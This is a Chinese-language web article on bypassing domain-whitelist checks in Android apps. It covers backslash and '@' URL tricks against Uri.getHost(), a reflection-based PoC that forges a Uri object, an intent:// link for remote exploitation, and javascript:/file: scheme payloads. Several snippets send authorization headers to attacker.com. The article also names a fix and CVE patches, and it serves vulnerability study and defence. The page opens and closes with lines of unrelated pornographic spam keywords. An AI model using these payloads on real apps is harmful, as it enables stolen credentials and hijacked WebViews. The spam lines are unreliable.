国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

Android中怎么繞過(guò)域名白名單校驗

發(fā)布時(shí)間:2021-09-14 11:25 來(lái)源:億速云 閱讀:0 作者:Leah 欄目: 網(wǎng)絡(luò )安全

這期內容當中小編將會(huì )給大家帶來(lái)有關(guān)Android中怎么繞過(guò)域名白名單校驗,文章內容豐富且以專(zhuān)業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

一、 Url加入反斜杠"\"

1.1. 方法描述

先來(lái)看一種典型的域名校驗寫(xiě)法:

/*  Uri 結構
*   [scheme:][//authority][path][?query][#fragment]
*/
[check_v1]
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
   webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
   // or webView.loadUrl(uri.toString())
}

然而...

String url = "http://attacker.com\\.legitimate.com/smth"; 
Log.d("getHost:", Uri.parse(url).getHost());         // 輸出 attacker.com\.legitimate.com !
if (Uri.parse(url).getHost().endsWith(".legitimate.com")) {
       webView.loadUrl(url, getAuthorizationHeaders());  // 成功加載 attacker.com!
}

可以看到 getHost() 和 loadUrl() 的表現不一致,if檢驗跳轉目標是legitimate.com,但執行時(shí)瀏覽器會(huì )把反斜線(xiàn)糾正為正斜線(xiàn)去訪(fǎng)問(wèn)attacker.com。那么如果是用 equals() 來(lái)做完整的 host 檢驗該怎么辦呢?只需加一個(gè)‘@’就能隔斷非法前綴。

String url = "http://attacker.com\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost());          // 輸出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加載 attacker.com!

1.2. 分析原因

看來(lái)android.net.Uri的 parse() 是有安全缺陷的,我們扒拉一下代碼定位問(wèn)題...

[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
       return new StringUri(uriString);
}

繼續看這個(gè)內部類(lèi)StringUri

[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
       ...
       private StringUri(String uriString) {
           this.uriString = uriString;
       }
       ...
       private Part getAuthorityPart() {
           if (authority == null) {
               String encodedAuthority
                       = parseAuthority(this.uriString, findSchemeSeparator());
               return authority = Part.fromEncoded(encodedAuthority);
           }
           return authority;
       }
       ...
       static String parseAuthority(String uriString, int ssi) {
           int length = uriString.length();
           // If "//" follows the scheme separator, we have an authority.
           if (length > ssi + 2
                   && uriString.charAt(ssi + 1) == '/'
                   && uriString.charAt(ssi + 2) == '/') {
               // We have an authority.
               // Look for the start of the path, query, or fragment, or the
               // end of the string.
               int end = ssi + 3;
               LOOP: while (end < length) {
                   switch (uriString.charAt(end)) {
                       case '/': // Start of path
                       case '?': // Start of query
                       case '#': // Start of fragment
                           break LOOP;
                   }
                   end++;
               }
               return uriString.substring(ssi + 3, end);
           } else {
               return null;
           }
       }
}

這里就明顯看到StringUri沒(méi)有對authority部分做反斜杠的識別處理, 接著(zhù)找StringUri的父類(lèi)AbstractHierarchicalUri瞧瞧:

[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
   private String parseUserInfo() {
       String authority = getEncodedAuthority();
       int end = authority.indexOf('@');
       return end == NOT_FOUND ? null : authority.substring(0, end);
   }
   ...
   private String parseHost() {
       String authority = getEncodedAuthority();
       // Parse out user info and then port.
       int userInfoSeparator = authority.indexOf('@');
       int portSeparator = authority.indexOf(':', userInfoSeparator);
       String encodedHost = portSeparator == NOT_FOUND
               ? authority.substring(userInfoSeparator + 1)
               : authority.substring(userInfoSeparator + 1, portSeparator);
       return decode(encodedHost);
   }
}

就在這里把@符號之前內容的作為 UserInfo 給切斷了,host 內容從@符號之后算起。(這里其實(shí)存在另一個(gè) bug,沒(méi)有考慮多個(gè)@的情況)

1.3. 影響范圍

Google 在 2018年4月的 Android 安全公告里發(fā)布了這個(gè)漏洞CVE-2017-13274的補丁

通過(guò)AndroidXRef查詢(xún),這個(gè)補丁在 Oreo - 8.1.0_r33 才加入到原生源碼中。所以安全補丁日期早于2018-04-01的系統都受影響,而 Google 一般通過(guò)協(xié)議要求 OEM 廠(chǎng)商保證產(chǎn)品上市之后兩年內按期打安全補丁。那么經(jīng)過(guò)推算得出 Android 6及以下的系統都受影響。

PS:url含多個(gè)@的情況也在2018年1月的補丁中進(jìn)行了修復CVE-2017-13176

二、反射調用HierarchicalUri構造Uri

2.1. 檢查UserInfo

上一節提到了@的截取的特性,會(huì )把惡意地址前綴attacker.com存入 UserInfo,那么現在改進(jìn)校驗方法, 加上 UserInfo 的檢查是不是就萬(wàn)無(wú)一失了呢?

[check_v2]
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) &&
                     uri.getUserInfo() == null &&
                     "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
   webView.load(uri.toString(), getAuthorizationHeaders());
}

2.2. 挖掘思路

我們還是看android.net.Uri源碼,發(fā)現除了StringUri,還有一個(gè)內部類(lèi)也 HierarchicalUri 也繼承了 AbstractHierarchicalUri

[frameworks/base/core/java/android/net/Uri.java]
private static class HierarchicalUri extends AbstractHierarchicalUri {

   private final String scheme; // can be null
   private final Part authority;
   private final PathPart path;
   private final Part query;
   private final Part fragment;

   private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment) {
       this.scheme = scheme;
       this.authority = Part.nonNull(authority);
       this.path = path == null ? PathPart.NULL : path;
       this.query = Part.nonNull(query);
       this.fragment = Part.nonNull(fragment);
   }

   ...
}

而AbstractHierarchicalUri又是繼承自Uri,所以很容易想到,通過(guò)反射調用HierarchicalUri這個(gè)私有構造函數,傳入構造好的 authority 和 path, 創(chuàng )建一個(gè)任意可控的Uri實(shí)例。繼續查看Part和PathPart類(lèi)的構造方法:    

static class Part extends AbstractPart {
   private Part(String encoded, String decoded) {
       super(encoded, decoded);
   }
}
static class PathPart extends AbstractPart {
   private PathPart(String encoded, String decoded) {
       super(encoded, decoded);
   }
}

2.3. 構造PoC

由此構造 PoC 如下:

public void PoC() {
   private static final String TAG = "PoC";
   String attackerUri = "@attacker.com";
   String legitimateUri = "legitimate.com";

   try {
       Class partClass = Class.forName("android.net.Uri$Part");
       Constructor partConstructor = partClass.getDeclaredConstructors()[0];
       partConstructor.setAccessible(true);

       Class pathPartClass = Class.forName("android.net.Uri$PathPart");
       Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
       pathPartConstructor.setAccessible(true);

       Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
       Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
       hierarchicalUriConstructor.setAccessible(true);

       Object authority = partConstructor.newInstance(legitimateUri, legitimateUri);
       Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
       Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

       Log.d(TAG, "Scheme: " + uri.getScheme());
       Log.d(TAG, "UserInfo: " + uri.getUserInfo());
       Log.d(TAG, "Host: " + uri.getHost());
       Log.d(TAG, "toString(): " + uri.toString());

   } catch (Exception e) {
       throw new RuntimeException(e);
   }
   Intent intent = new Intent("android.intent.action.VIEW");
   intent.setClassName(Victim_packageName, Victim_className);
   intent.setData(uri);
   intent.addFlags(268435456);
   startActivity(intent);
}

logcat 輸出:

07-07 19:00:36.765 9209 9209 D PoC : Scheme: https
07-07 19:00:36.765 9209 9209 D PoC : UserInfo: null
07-07 19:00:36.765 9209 9209 D PoC : Host: legitimate.com
07-07 19:00:36.765 9209 9209 D PoC : toString(): https://legitimate.com@attacker.com

從輸出日志可以看到,通過(guò)此反射方法構造的 Uri 對象,可以通過(guò) check_v2 方法對 Scheme、 UserInfoHost 的三項檢驗,但 toString() 方法的值https://legitimate.com@attacker.com,才是被攻擊的 Activity 拉起的實(shí)際地址。如前所述,@符號之后的    attacker.com 便成為了最終訪(fǎng)問(wèn)的 host。

2.4. 限制與繞過(guò)

Android P 之后 Google 對 non-sdk 的 @hide API 進(jìn)行了限制。Android Studio 也會(huì )給出如下提示,并且讓這種反射調用在運行時(shí)報錯失敗。

Accessing internal APIs via reflection is not supported and may not work on all devices or in the future less... (Ctrl+F1) Inspection info:Using reflection to access hidden/private Android APIs is not safe; it will often not work on devices from other        vendors, and it may suddenly stop working (if the API is removed) or crash spectacularly (if the API behavior changes, since there are no guarantees for compatibility). Issue id: PrivateApi

截止到目前——Android Q Beta 4,還是有繞過(guò)的方法, 關(guān)于繞過(guò)原理的梳理不在本文議題范圍。

2.5. 修復方法

抵御這種攻擊的方法也非常簡(jiǎn)單,對傳入的 Uri 對象加一次 parse() 再做 check_v2 即可。事實(shí)上,有大量的開(kāi)發(fā)者因為不了解這個(gè)性質(zhì),認為傳入的 url 已經(jīng)是”正?!巴ㄟ^(guò) Uri.parse() 構造的,直接信任放行。

三、遠程利用方法1

我們知道,通過(guò)在組件中注冊 intent-filter,App 可以響應瀏覽器應用或短信應用訪(fǎng)問(wèn)的外鏈。典型的一個(gè)配置寫(xiě)法如下,只有 <data> 標簽中指定的內容和 Intent 中攜帶的 Data 完全一致時(shí),當前活動(dòng)才能響應該 Intent。

<activity android:name=".DeeplinkActivity">
   <intent-filter android:autoVerify="true">
       <action android:name="android.intent.action.VIEW"/>
       <category android:name="android.intent.category.DEFAULT"/>
       <category android:name="android.intent.category.BROWSABLE"/>
       <data android:scheme="https" android:host="legitimate.com"/>
   </intent-filter>
</activity>

前面兩種方法我們都是用安裝惡意 App 或 ADB 命令來(lái)觸發(fā)攻擊,注意到 Android 對 <data> 定義的屬性,也是通過(guò) parsedIntent.getData().getHost() 來(lái)進(jìn)行匹配的,我們很自然的想到嘗試遠程利用。

<!--
<a href="[scheme]://[host]/[path]?[query]">調用格式</a>
-->
<a href="https://attacker.com\\@legitimate.com/">Click Attack v1</a>
<a href="https://attacker.com%5C%5C@legitimate.com/">Click Attack v2</a>

然而,對于第一個(gè)鏈接,瀏覽器會(huì )自動(dòng)把反斜杠 "\" 糾正為正斜杠 "/"對于第二個(gè)鏈接,反斜杠 "\" 會(huì )以 URL 編碼形式保留而無(wú)法觸發(fā)方法1

通過(guò)仔細研究intent://scheme的工作機制,發(fā)現可以通過(guò)如下方式保留反斜杠 "\" 的方法:

PoC:

<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">Click Attack v3</a>

跟蹤源碼,可以看到,訪(fǎng)問(wèn)這個(gè)鏈接,等價(jià)于執行:

Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")

從而實(shí)現方法1的遠程執行版本。

四、缺少scheme驗證

實(shí)戰不乏有些 App 對 host 做了校驗,但卻遺漏了對 scheme 的檢查。

可以用下面的 uri, 嘗試進(jìn)行 js 和 file 域的 PoC:

javascript://legitimate.com/%0aalert(1)//

file://legitimate.com/sdcard/payload.html

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

中文亚洲AV片在线观看| 人妻少妇精品无码专区漫画| 成人动漫网站| 人妻人人做人碰人人添| 又长又大又粗又硬3P免费视频| 4399国语看片免费观看|